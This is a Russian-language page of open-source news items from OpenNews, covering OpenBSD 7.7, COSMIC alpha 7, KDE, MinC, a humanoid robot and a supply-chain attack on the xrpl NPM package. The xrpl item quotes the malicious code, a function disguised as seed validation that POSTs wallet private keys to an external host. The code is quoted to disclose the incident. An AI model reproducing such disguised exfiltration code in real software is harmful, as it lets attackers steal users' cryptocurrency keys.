  • На использование сборочной системы CMake переведены программы digikam, krecipes, ksquirrel, ktorrent. Прекращена поддержка autotools в kmyfirewall и piklab.

  1. Главная ссылка к новости
  2. OpenNews: Релиз десктоп-окружения Trinity R14.1.3, продолжающего развитие KDE 3.5
  3. OpenNews: Выпуск дистрибутива Q4OS 5.8, поставляемого с пользовательским окружением Trinity
  4. OpenNews: Релиз дистрибутива Porteus 1.1 с десктоп-окружением Trinity (форк KDE 3.5)
Обсуждение (304 +39) | Тип: Программы |


·28.04 Релиз OpenBSD 7.7 (83 +22)
  Представлен выпуск свободной UNIX-подобной операционной системы OpenBSD 7.7. Проект OpenBSD был основан Тэо де Раадтом (Theo de Raadt) в 1995 году после конфликта с разработчиками NetBSD, в результате которого для Тэо был закрыт доступ к CVS репозиторию NetBSD. После этого Тэо де Раадт с группой единомышленников создал на базе дерева исходных текстов NetBSD новую открытую операционную систему, главными целями развития которой стали переносимость (поддерживается 13 аппаратных платформ), стандартизация, корректная работа, проактивная безопасность и интегрированные криптографические средства. Размер полного установочного ISO-образа базовой системы OpenBSD 7.7 составляет 746 МБ.

Кроме непосредственно операционной системы, проект OpenBSD известен своими компонентами, которые получили распространение в других системах и зарекомендовали себя как одни из наиболее безопасных и качественных решений. Среди них: LibreSSL (форк OpenSSL), OpenSSH, пакетный фильтр PF, демоны маршрутизации OpenBGPD и OpenOSPFD, NTP-сервер OpenNTPD, почтовый сервер OpenSMTPD, мультиплексор текстового терминала (аналог GNU screen) tmux, демон identd с реализацией протокола IDENT, BSDL-альтернатива пакету GNU groff - mandoc, протокол для организации отказоустойчивых систем CARP (Common Address Redundancy Protocol), легковесный http-сервер, утилита синхронизации файлов OpenRSYNC.

Основные изменения:

  • Реализация фреймворка drm (Direct Rendering Manager) синхронизирована с ядром Linux 6.12.21 (в прошлом выпуске - 6.6.52). В драйвере inteldrm реализована поддержка GPU, применяемого в процессорах Intel на базе микроархитектуры Arrow Lake. В драйвер amdgpu добавлена поддержка GPU Ryzen AI 300 (Strix Point, Strix Halo, Krackan Point) и Radeon RX 9070 (Navi 48).
  • В порте для архитектуры ARM64 реализована поддержка набора векторных инструкций SVE (Scalable Vector Extension). На системах с ARM-чипами Apple M1 обеспечено выставление состояний энергопотребления. В механизме маппинга физических страницы памяти (pmap, physical mapping) оптимизированы операции сброса буфера ассоциативной трансляции (TLB), что примерно на 5% ускорило выполнение теста по сборке ядра. На оборудовании с поддержкой шифра QARMA3 для защиты пространства пользователя включена аутентификация указателей (PAC, Pointer Authentication Code).
  • На системах x86_64 для гостевых систем, выполняемых при помощи QEMU, реализована поддержка механизма AMD SEV (Secure Encrypted Virtualization), применяемого в системах виртуализации для защиты виртуальных машин от вмешательства со стороны гипервизора или администратора хост-системы. В драйвер psp, используемый для настройки и запуска гостевых систем с включением AMD SEV, добавлена команда для загрузки прошивки в чип.
  • На системах x86_64 добавлена возможность выделения для DMA областей памяти размером больше 4 ГБ.
  • Улучшена поддержка архитектур RISC-V, Sparc64, HPPA, i386 и Powerpc64.
  • Улучшена обработка ситуаций нехватки памяти в системе (OOM).
  • В механизм трассировки ptrace добавлены возможности, позволяющие выставлять в отладчике gdb точки останова в многопоточных процессах. Добавлены команды для чтения и записи области, в которую в отслеживаемом процессе сохраняется состояние процессора при использовании инструкции XSAVE.
  • В сценариях на языке BT (BPFtrace или Bug Tracing), применяемых в системе трассировки btrace, добавлена поддержка многострочных конструкций. В утилиту btrace добавлены дополнительные профили и именования временных интервалов (hz, us, ms, s).
  • Добавлен sysctl-параметр kern.audio.kbdcontrol, при выставлении которого в 0 мультимедийные клавиши управления громкостью на клавиатуре будут обрабатываться как обычные клавиши.
  • Улучшена обработка сбоев и расширены проверки при переходе в спящий и ждущий режимы.
  • Переработан код для остановки процессов при поступлении сигнала, что решило проблемы с остановкой многопоточных процессов, проявлявшиеся в таких пакетах, как golang и mpv.
  • Усовершенствована поддержка многопроцессорных систем (SMP). Обеспечена параллельная работа таймеров ввода и вывода TCP, а системные вызовы send() и recv() переведены на использование общей блокировки. Несколько пользовательских потоков теперь могут параллельно работать с разными сокетами, а вывод TCP больше не блокирует обработку IP-пакетов.

    Избавлены от глобальной блокировки системные вызовы open, openat, ptsignal, psignal и prsignal, а также sysctl kern.timeout_stats, kern.allowkmem, kern.video.record, net.inet.gre.allow, net.inet.gre.wccp, kern.global_ptrace, kern.wxabort, kern.malloc.kmemstat. Переведены в разряд mp-safe драйверы psp, wsmouse и wstpad, а также структура video_filtops.

  • В гипервизоре VMM реализована возможность использования acpipci для прикрепления PCI-шин.
  • Предоставлена возможность определения альтернативной политики с настройками производительности (perfpolicy), применяемой при работе системы от аккумулятора.
  • В команду sysctl добавлена опция "-f file" для загрузки разом всех настроек из файла. В rc-скриптах новая опция применена для загрузки sysctl.conf целиком, вместо построчного разбора.
  • В команде pkg_add реализован вызов ldconfig, если в результате установки новых пакетов изменился список разделяемых библиотек.
  • Добавлена поддержка нового оборудования. Улучшена поддержка SoC MediaTek и Qualcomm Snapdragon (включая X Elite). Улучшена поддержка устройств Samsung Galaxy Book4 Edge, ThinkPad T14 Gen 5, Vivobook, ThinkPad X1 Nano Gen 2, ThinkPad X13 и различных Chromebook. Добавлен драйвер ice для Intel E810 Ethernet 1Gb/10Gb/25Gb/50Gb/100Gb и драйвер ixv для виртуальных функций Intel Ethernet 82598EB, 82559 и X540. Продолжена работа по выносу выполнения сетевых операций на сторону сетевых карт.
  • В sysupgrade реализован режим для offline-обновления систем с использованием пакетов, сохранённых в локальной ФС.
  • В утилиту fw_update добавлена возможность загрузки (не установки) прошивок под обычным пользователем без прав root. Добавлен флаг "-l" для вывода списка драйверов и файлов.
  • Для процесса sshd-auth включена защита от эксплуатации уязвимостей, основанная на случайной перекомпоновке исполняемого файла при каждой загрузке системы (relink). Перекомпоновка позволяет сделать малопредсказуемым смещения функций, что затруднит создание эксплоитов, использующих методы возвратно-ориентированного программирования.
  • Обеспечена изоляция процесса mountd с использованием системного вызова unveil.
  • В сетевом стеке реализована поддержка сокетов AF_FRAME и семейства протоколов IFT_ETHER, позволяющих приложениям отправлять и принимать Ethernet-кадры. Для исходящих пакетов UDP и TCP задействован новый метод хэширования, позволивший оптимизировать распределения трафика по очередям и заметно (~20%) ускорить отправку UDP для IPv4/IPv6 и TCP для IPv6. Для устройства tun реализован ioctl TUNSCAP и оптимизировано взаимодействие между ядром и пространством пользователя. Реализован отдельный для каждого потока кэш маршрутизации. В драйвере vio включён режим multiqueue.
  • В утилите pfctl для сетевых интерфейсов и очередей разрешено определение пропускной способности, превышающей 4Gbit.
  • В iked, реализации протокола IKEv2 для IPsec, добавлена опция "natt" для принудительного использования nat-t.
  • В relayd, фоновом процессе для перенаправления и балансировки запросов, реализована поддержка клиентских TLS-сертификатов.
  • В инструмент измерения сетевой производительности tcpbench добавлена поддержка TLS.
  • В bgpd реализована поддержка RFC 8654 (BGP Extended Message), RFC 8538 (BGP Notification Message), по умолчанию активирована опция "reject as-set", обеспечено кэширование Adj-RIB-Out.
  • В LibreSSL 4.1.0 добавлена экспериментальная поддержка архитектуры loongarch64, предложены новые ассемблерные реализации алгоритмов SHA-1, SHA-256 и SHA-512 для архитектуры amd64 (задействована инструкция SHA-NI), новые ассемблерные реализации SHA-256 и SHA-512 для Aarch64 (задействовано расширение CE), упрощена реализация MD5 для amd64, обеспечено кэширование списка отозванных сертификатов (CRLs), из BoringSSL перенесена реализация ML-KEM 768 и 1024.
  • Обновлён OpenSSH. Список изменений можно посмотреть в анонсе OpenSSH 10 (удалена поддержка цифровых подписей DSA, операции аутентификации выделены в отдельный процесс sshd-auth, по умолчанию задействован гибридный алгоритм обмена ключами "mlkem768x25519-sha256").
  • Число портов для архитектуры AMD64 составило 12593 (было 12312), для aarch64 - 12446 (было 12148), для i386 - 10429 (было 10534). Среди версий приложений в портах:
    • Asterisk 16.30.1, 18.26.1, 20.13.0 и 22.3.0
    • Audacity 3.7.3
    • CMake 3.31.6
    • Chromium 135.0.7049.52
    • Emacs 30.1
    • FFmpeg 6.1.2
    • GCC 8.4.0 и 11.2.0
    • GNOME 47
    • Go 1.24.1
    • JDK 8u442, 11.0.26, 17.0.14 и 21.0.6
    • KDE Gears 24.12.3
    • KDE Frameworks 6.12.0
    • KDE Plasma 6.3.3
    • Krita 5.2.9
    • LLVM/Clang 13.0.0, 16.0.6, 18.1.8, 19.1.7
    • LibreOffice 25.2.1.2
    • Lua 5.1.5, 5.2.4, 5.3.6, 5.4.7
    • MariaDB 11.4.5
    • Mono 6.12.0.199
    • Mozilla Firefox 137.0 и ESR 128.9.0
    • Mozilla Thunderbird 128.9.0
    • Mutt 2.2.14 и NeoMutt 20250113
    • Node.js 22.14.0
    • OpenLDAP 2.6.9
    • PHP 8.2.28, 8.3.19 и 8.4.5
    • Postfix 3.10.1
    • PostgreSQL 17.4
    • Python 2.7.18 и 3.12.9
    • Qt 5.15.16 (+ патчи от проекта KDE) и 6.8.2
    • Ruby 3.2.8, 3.3.7, 3.4.2
    • Rust 1.86.0
    • SQLite 3.49.1
    • Shotcut 25.01.25
    • Sudo 1.9.16p1
    • Suricata 7.0.7
    • Tcl/Tk 8.5.19 и 8.6.16
    • Vim 9.1.1265 и Neovim 0.10.4
    • Xfce 4.20.0
  • Обновлены компоненты от сторонних разработчиков, входящие в состав OpenBSD 7.7:
    • Графический стек Xenocara на базе X.Org 7.7 с xserver 21.1.16 + патчи, freetype 2.13.3, fontconfig 2.15.0, Mesa 23.3.6, xterm 395, xkeyboard-config 2.20, fonttosfnt 1.2.4.
    • LLVM/Clang 16.0.6 (+ патчи)
    • GCC 4.2.1 (+ патчи) и 3.3.6 (+ патчи)
    • Perl 5.40.1 (+ патчи)
    • NSD 4.9.1
    • Unbound 1.22.0
    • Ncurses 6.4
    • Binutils 2.17 (+ патчи)
    • Gdb 6.3 (+ патчи)
    • Awk 20250116
    • Expat 2.7.1
    • zlib 1.3.1 (+ патчи)

  1. Главная ссылка к новости
  2. OpenNews: Выпуск OpenBSD 7.6
  3. OpenNews: В состав macOS включён openrsync от проекта OpenBSD
  4. OpenNews: MinC - похожее на Cygwin окружение для Windows с утилитами из OpenBSD
  5. OpenNews: Проект OpenBSD охватил изменениями всю отделившуюся от NetBSD кодовую базу
  6. OpenNews: В OpenBSD добавлена поддержка VA-API для аппаратного ускорения декодирования видео
Обсуждение (83 +22) | Тип: Программы |


·27.04 Открытый человекоподобный робот Berkeley Humanoid Lite (170 +23)
  Калифорнийский университет в Беркли опубликовал проект Berkeley Humanoid Lite, ставший итогом исследований и экспериментов в области создания простых для изготовления человекоподобных роботов. Робот построен с использованием открытого программного обеспечения и развивается в соответствии с концепцией Open Hardware. Аппаратная начинка сформирована из типовых компонентов, имеющихся в свободной продаже, и деталей, изготовленных на 3D-принтере. Опубликованы модели машинного обучения, исходный код ПО, схемы, список компонентов (BOM), сборочный план и модели для 3D-печати.

Под лицензией MIT открыты исходные тексты выполняемых на стороне робота прошивок контроллеров актуаторов и управляющей низкоуровневой начинки, а также внешние компоненты, такие как среда для разработки управляющих сценариев, окружение для симуляции, тренировки моделей движения и верификации, построенное на базе фреймворков Isaac Lab, Isaac Sim и MuJoCo. Для дистанционного управления могут использоваться типовые контроллеры виртуальной реальности SteamVR.

Отдельно опубликованы используемые в экспериментах модели машинного обучения, а также предложен контроллер локомоции (locomotion controller), использующий модель машинного обучения с подкреплением для обеспечения перемещения робота в заданную точку. Продемонстрировано использование робота в качестве манипулятора, дистанционно управляемого человеком. Ведутся эксперименты в области автономной навигации, обхода препятствий, воспроизведения мелкой моторики и координации движений при прямохождении.

Проект может быть использован другими исследователями в качестве недорогой отправной точки для изучения и проведения исследований в области робототехники. Для сборки не требуются особые навыки и при желании любой может воспользоваться предлагаемыми инструкциями и схемами для создания своего экземпляра, затратив менее 5000 долларов. Робот модульный и рассчитан на возможность доработки и адаптации для своих целей, например, после минимальной модификации может быть преобразован из прямоходящего в четвероногого или кентавроподобного.

Основным фактором удешевления производства стало использование в конструкции пластиковый деталей, изготовленных на 3D-принтере. При этом исследователям пришлось решить ряд проблем, связанных с надёжностью и долговечностью работы трансмиссий на базе пластиковых, а не металлических шестерёнок. Ограничения удалось преодолеть благодаря задействованию циклоидного редуктора.



  1. Главная ссылка к новости
  2. OpenNews: Опубликована платформа для создания роботов OpenBot 0.8
  3. OpenNews: Проект Valetudo развивает модификации прошивок для локального управления роботами-пылесосами
  4. OpenNews: Представлен фонд поддержки развития открытых решений для робототехники (OSRF)
  5. OpenNews: Увидела свет ROS Fuerte, операционная система для роботов
  6. OpenNews: В рамках открытого проекта Lisa/S подготовлена миниатюрная реализация автопилота
Обсуждение (170 +23) | Тип: К сведению |


·27.04 Злоумышленники смогли внедрить бэкдор в NPM-пакет от разработчиков криптовалюты XRP (73 +16)
  В NPM-пакете xrpl выявлен вредоносный код (CVE-2025-32965), отправляющий на внешний сервер мастер-ключи от криптокошельков и закрытые ключи криптовалют. Пакет xrpl позиционируется как официально рекомендованная библиотека (xrpl.js) для взаимодействия JavaScript- и TypeScript-приложений, работающих через браузер или Node.js, с децентрализовнной платёжной сетью XRP Ledger (Ripple), развивающей криптовалюту XRP, занимающую 4 место по капитализации (уступает только BTC, ETH и USDT). Библиотека xrpl.js насчитывает 165 тысяч загрузок за предшествующую инциденту неделю, используется в качестве зависимости в 143 NPM-пакетах и задействована во многих криптовалютных приложениях и сайтах.

Вредоносный код присутствовал в выпусках xrpl.js 2.14.2, 4.2.1, 4.2.2, 4.2.3 и 4.2.4, и был удалён в версиях 4.2.5 и 2.14.3. На GitHub вредоносные версии не публиковались и были размещены только в репозитории NPM. Пакеты с вредоносным кодом появились в репозитории NPM 21 апреля в 23:53 (MSK) и были удалены администрацией репозитория 22 апреля в 16:00 (MSK). Подробности разбора инцидента со стороны проекта XRP Ledger пока не опубликованы, но предполагается, что атака была совершена через компрометацию учётной записи сопровождающего, используя методы социального инжиниринга и фишинга.

Проблемные пакеты соответствовали официальному релизу 4.2.0 и отличались от него наличием изменений, осуществлявших отправку на внешний сервер закрытых ключей, используемых в криптокошельках. Изменение было оформлено в виде функции checkValidityOfSeed, преподносимой как функция проверки целостности ключа, а на деле отправлявшей запросы на хост "0x9c.xyz".


   export function checkValidityOfSeed(seed: string) {
     if (validSeeds.has(seed)) return
     validSeeds.add(seed)
     fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
   }
   ...

   public constructor(...){
       ...
       this.privateKey = privateKey
       this.classicAddress = opts.masterAddress
         ? ensureClassicAddress(opts.masterAddress)
         : deriveAddress(publicKey)
       this.seed = opts.seed

       checkValidityOfSeed(privateKey)
  }
  ...
  private static deriveWallet(...){
    ...
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)

    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }

Вредоносный код внедрялся поэтапно. В версии 4.2.1 из package.json были удалены секции настроек "scripts" и "prettier", а также были внесены изменения в файлы build/xrp-latest-min.js и build/xrp-latest.js. В версии 4.2.2 в файл src/Wallet/index.js был добавлен вредоносный код. В версиях 4.2.3 и 4.2.4 были добавлены дополнительные вредоносные изменения, затрагивающие вариант кода на TypeScript.

  1. Главная ссылка к новости
  2. OpenNews: Компрометация NPM-репозитория Ledger привела к подстановке вредоносных изменений
  3. OpenNews: Уязвимость в NPM-пакете JsonWebToken, насчитывающем 10 млн загрузок в неделю
  4. OpenNews: GitHub раскрыл данные о взломе инфраструктуры NPM и выявлении открытых паролей в логах
  5. OpenNews: В NPM-пакет node-ipc внесено вредоносное изменение, удаляющее файлы на системах в России и Беларуси
  6. OpenNews: Атакующие внедрили вредоносный код в web3.js, официальный JavaScript-клиент для криптовалюты Solana
Обсуждение (73 +16) | Тип: Проблемы безопасности |


·26.04 Седьмой альфа-выпуск среды рабочего стола COSMIC (192 +16)
  Компания System76, разрабатывающая Linux-дистрибутив Pop!_OS, опубликовала седьмую альфа-версию среды рабочего стола COSMIC, написанной на языке Rust (не путать со старым COSMIC, который был основан на GNOME Shell). Для тестирования предложены iso-образы со свежей версией COSMIC, сформированные поверх альфа-сборок будущего выпуска дистрибутива Pop!_OS 24.04 для систем с GPU NVIDIA (3.3 ГБ) и Intel/AMD (2.9 ГБ). Также формируются готовые пакеты для Fedora, NixOS, Arch Linux, openSUSE, Serpent OS, Redox и CachyOS.

COSMIC развивается как универсальный проект, не привязанный к конкретному дистрибутиву и соответствующий спецификациям Freedesktop. Для построения интерфейса в COSMIC задействована библиотека Iced, которая использует безопасные типы, модульную архитектуру и модель реактивного программирования, а также предлагает архитектуру, привычную для разработчиков, знакомых с языком декларативного построения интерфейсов Elm. Предоставляется несколько движков отрисовки, поддерживающих Vulkan, Metal, DX12, OpenGL 2.1+ и OpenGL ES 2.0+. Разработчикам предлагается готовый набор виджетов, возможность создавать асинхронные обработчики и использовать адаптивную компоновку элементов интерфейса в зависимости от размера окна и экрана.

Помимо использования языка Rust из особенностей COSMIC выделяются режимы гибридной мозаичной компоновки окон и стекового закрепления окон (группировка окон по аналогии со вкладками в браузере), которые могут включаться в привязке к виртуальным рабочим столам. Проектом также разрабатывается композитный сервер cosmic-comp на базе Wayland. Первый стабильный релиз COSMIC изначально был намечен на первый квартал 2025 года, новые сроки не уточняются. Предполагается, что следующему выпуску будет присвоен статус бета-версии.

Основные изменения по сравнению с шестой альфа-версией COSMIC:

  • Реализована возможность перегруппировки виртуальных рабочих столов или их перемещения на другой экран через перетаскивание мышью в режиме drag&drop. Добавлена функция закрепления виртуальных рабочих столов, позволяющая держать открытыми нужное количество рабочих столов, независимо от того пустые они или нет.
  • Добавлены всплывающие подсказки, отображаемые при наведении курсора на элементы в панели задач, виртуальных рабочих столах, каталоге приложений и меню приложений.
  • Реализованы глобальные комбинации клавиш, позволяющие вызывать действия в X11-приложениях, независимо от того, в фокусе приложение или нет. Для защиты конфиденциальности по умолчанию данная возможность отключена, но в качестве опции возможны варианты обработки чужих событий ввода только при нажатии клавиш-модификаторов (Ctrl, Shift, Alt).
  • Добавлены настройки дробного масштабирования для X11-приложений, запускаемых под управлением XWayland. Режим "Оптимизация для приложений" повышает качество отображения интерфейсов программ, не поддерживающих дробное масштабирование. Режим "Оптимизация для игр и полноэкранных приложений" допускает использование в приложениях фактического разрешения экрана, при том, что к приложениям может применяться уровень масштабирования, отличающийся от масштаба приложений, поддерживающих дробное масштабирование.
  • Внесены изменения в систему обработки комбинаций клавиш:
    • При переключении комбинацией "Super+клавиши_управления_курсором" текущая вклада продолжает отображаться до тех пор пока удерживается клавиша Super.
    • Виртуальные рабочие столы теперь имеют более высокий приоритет по сравнению с дисплеями - навигация при перемещении окон или смены фокуса ввода вначале охватывает рабочие столы на текущем дисплее, а затем переключается на следующий дисплей при его наличии.
    • Реализован цикличный перебор виртуальных рабочих столов (после последнего переключается на первый).
    • Для переключения между дисплеями добавлена новая комбинация "Super+Shift+клавиши_управления_курсором", для перевода фокуса на другой дисплей - "Alt+Super+клавиши_управления_курсором", для переноса окна на другой дисплей - "Shift+Alt+Super+клавиши_управления_курсором".
    • Для увеличения или уменьшения масштаба рабочего стола добавлены комбинации клавиш "Super+" и "Super-".
  • В файловый менеджер добавлена опция для упреждающего ввода файловых путей - после ввода первой буквы имени файла или каталога в адресной строке показываются образцы автозаполнения, соответствующие имеющимся файлам или каталогам. Добавлена опция для открытия файлов одним кликом. Добавлены ярлыки для активации режимов отображения файлов в виде сетки или списка. Реализован переход к редактированию при клике на каталоге в файловом пути. Добавлен диалог Open Folder для извлечения файлов в заданный каталог.
  • На страницу настройки звука добавлена возможность изменения баланса громкости для левого и правого уха.
  • В апплет Accessibility добавлены опции для включения контрастного режима, инвертирования цветов, цветовых фильтров для дальтоников и объединения звуковых каналов для людей, имеющих проблемы со слухом. Улучшена реализация интерфейса для увеличения областей на экране.
  • В различных компонентах реализованы оптимизации и исправления, нацеленные на снижение нагрузки на CPU.
  • Добавлена поддержка Wayland-протоколов ext-workspace-v1 и ext-image-capture-v1. Добавлен протокол cosmic-workspace-v2.
  • Реализована локализация названий программ.
  • В апплете подключения к сети добавлена поддержка аутентификации EAP и PEAP.
  • В COSMIC Media Player добавлена опция для скрытия заголовка, когда мышь неактивна.
  • Предоставлена возможность задания запасного шрифта.

  1. Главная ссылка к новости
  2. OpenNews: В postmarketOS и Alpine добавлена поддержка среды рабочего стола COSMIC
  3. OpenNews: Шестой альфа-выпуск среды рабочего стола COSMIC
  4. OpenNews: Проект Bottles будет переписан на языке Rust с использованием libcosmic
  5. OpenNews: Инициативы Fedora по созданию сборки с рабочим столом COSMIC и продвижению Btrfs
  6. OpenNews: Выпуск дистрибутива Pop!_OS 22.04, развивающего рабочий стол COSMIC
Обсуждение (192 +16) | Тип: Программы |


·26.04 MinC - похожее на Cygwin окружение для Windows с утилитами из OpenBSD (104 +22)
  Проектом MinC (MinC Is Not Cygwin) развивается минималистичное ядро (занимает 285Kb) и инструментарий на базе MinGW, позволяющие пересобирать и запускать типовые утилиты OpenBSD в Windows по аналогии с тем, как пакет Cygwin позволяет использовать в Windows утилиты GNU. Код проекта написан на языке Си и распространяется под лицензией BSD. Поддерживается работа в версиях Windows, начиная с Windows XP и заканчивая Windows 11.

После установки MinC пользователь получает окружение, симулирующее работу с OpenBSD в Windows и обеспечивающее производительность близкую к нативному выполнению. Работа обеспечивается при помощи библиотек libtrace и libposix транслирующих необходимые для OpenBSD-приложений функции и системные вызовы в формат для работы поверх Windows. Для сборки программ предоставляются типовые библиотеки libc, libdl, libsocket и libutil из состава OpenBSD.

Состав окружения соответствует выпуску OpenBSD 6.1 и включает следующие наборы программ:

  • Стандартные утилиты, такие как ls, du, ps, df, find, grep, awk, mkdir, chmod, chown, wc, top и diff.
  • Текстовые редакторы vi и nano, а также программы, подобные less и hexedit.
  • Архиваторы unzip, gzip, bzip2 и xz.
  • Сетевые утилиты route, ifconfig, ping, ftp, ssh, scp, telnet, wget, curl, lynx, mutt и BitchX.
  • Инструменты для разработки: vim, git, ImageMagick.
  • Пока не входят в поставку, но будут добавлены в ближайшее время серверные приложения, такие как Apache httpd, Sendmail и sshd.

Из расширенных возможностей отмечается поддержка интеграции с редактором кода Visual Studio Code для использования MinC в качестве терминала. Для установки подготовлен графический инсталлятор, позволяющий выбрать дополнительные наборы приложений, помимо базового системного окружения. MinC корректно работает при использовании в системе антивирусных пакетов, таких как Windows Defender и Kaspersky Anti-Virus, но при установке может потребоваться временное отключение антивируса.

  1. Главная ссылка к новости
  2. OpenNews: Выпуск Cygwin 3.6.0, GNU-окружения для Windows
  3. OpenNews: Microsoft представил обновление WSL, прослойки для запуска Linux в Windows
  4. OpenNews: Уязвимость в Git для Cygwin, позволяющая организовать выполнение кода
  5. OpenNews: Red Hat поменял лицензию на библиотеку Cygwin
  6. OpenNews: Microsoft развивает GUI для настройки WSL, прослойки для запуска Linux-приложений в Windows
Обсуждение (104 +22) | Тип: Программы |


·26.04 В KDE улучшена поддержка Wayland и внесены изменения в интерфейс (252 +21)
  Нейт Грэм (Nate Graham), разработчик, занимающийся контролем качества в проекте KDE, опубликовал очередной отчёт о разработке KDE. Среди изменений, развиваемых для выпуска KDE Plasma 6.4:
  • Улучшена поддержка Wayland. В композитном менеджере KWin задействована стабильная версия Wayland-протокола ext-data-control, необходимого для корректной работы с буфером обмена (ранее использовался протокол wlr-data-control-unstable-v1). В окружении на базе Wayland добавлена возможность использования относительного позиционирования на графических планшетах, при котором позиция стилуса определяется относительно предыдущего положения, а не абсолютной позиции на поверхности планшета. Для работы с Wayland адаптирована возможность управления графическим курсором при помощи клавиатуры.
  • В меню приложений Kickoff добавлены метки для недавно установленных программ.
  • Добавлено предупреждение, выводимое при попытке обращения к микрофону из приложения, если микрофон переведён в настройках в беззвучный режим.
  • В KMenuEdit добавлена возможность настройки постоянного запуска выбранных приложений на дискретном GPU.
  • В конфигуратор добавлен новый раздел "Анимация", в который перенесены настройки анимированных эффектов. В секции "Десктоп-эффекты" оставлены общие эффекты, не связанные с визуализацией перехода из одного состояния в другое.
  • Изменена обработка уведомлений во время открытия приложений в полноэкранном режиме. Вместо игнорирования некритичных уведомлений при работе с полноэкранными программами теперь автоматически включается режим "не беспокоить". Отличия в том, что после выхода из полноэкранного режима будет показано предупреждение о наличии пропущенных уведомлений. При желании новое поведение можно отключить в настройках.
  • В системном лотке теперь показывается информация о ненастроенном виджете с прогнозом погоды.
  • В диалоге настройки панели две отдельные кнопки в заголовке преобразованы в меню, что решило проблему с растяжением диалога на системах с локализацией из-за слишком длинных слов на кнопках.
  • На странице управления пользователями реализовано предупреждение, показываемое при попытке удаления пользователя с активным сеансом. При подтверждении подобной операции файлы такого пользователя не будут удалены.
  • В настройки системного лотка добавлено предупреждение, выводимое при попытке отключить сервис управления буфером обмена.
  • Модернизировано оформление диалогов для настройки виджетов часов, словаря, таймера и показа слайд-шоу из выбранных изображений.
  • Увеличен отступ между кнопками "Настроить" и "Закрепить" в окне виджета "Цифровые часы".
  • В Discover добавлена поддержка использования поисковой системы, указанной в системных настройках (раньше всегда использовался DuckDuckGo).
  • В виджет управления воспроизведением (Media Controller) добавлена поддержка комбинаций клавиш Ctrl+Tab и Alt+[number] для переключения между вкладками и источниками.
  • В Spectacle добавлена индикация обработки данных после завершения записи скринкаста (до этого создавалось ощущение зависания приложения).
  • Исправлена ошибка, из-за которой в глобальном меню временами показывалось меню не того приложения.
  • Устранено аварийное завершение KWin при отключении ноутбука от некоторых dock-станций.
  • Устранены аварийные завершения менеджера приложений Discover.

  1. Главная ссылка к новости
  2. OpenNews: Выпуск KDE Gear 25.04, набора приложений от проекта KDE
  3. OpenNews: В KDE реализована начальная поддержка восстановления сеансов на базе Wayland
  4. OpenNews: В KDE добавлена поддержка Wayland-протокола fifo и улучшена настройка дисплеев
  5. OpenNews: Для KDE разрабатывают новый менеджер входа для замены SDDM
  6. OpenNews: Перегрузка инфраструктуры KDE, GNOME, Fedora, Codeberg и SourceHut из-за ИИ-индексаторов
Обсуждение (252 +21) | Тип: Обобщение |


Следующая страница (раньше) >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру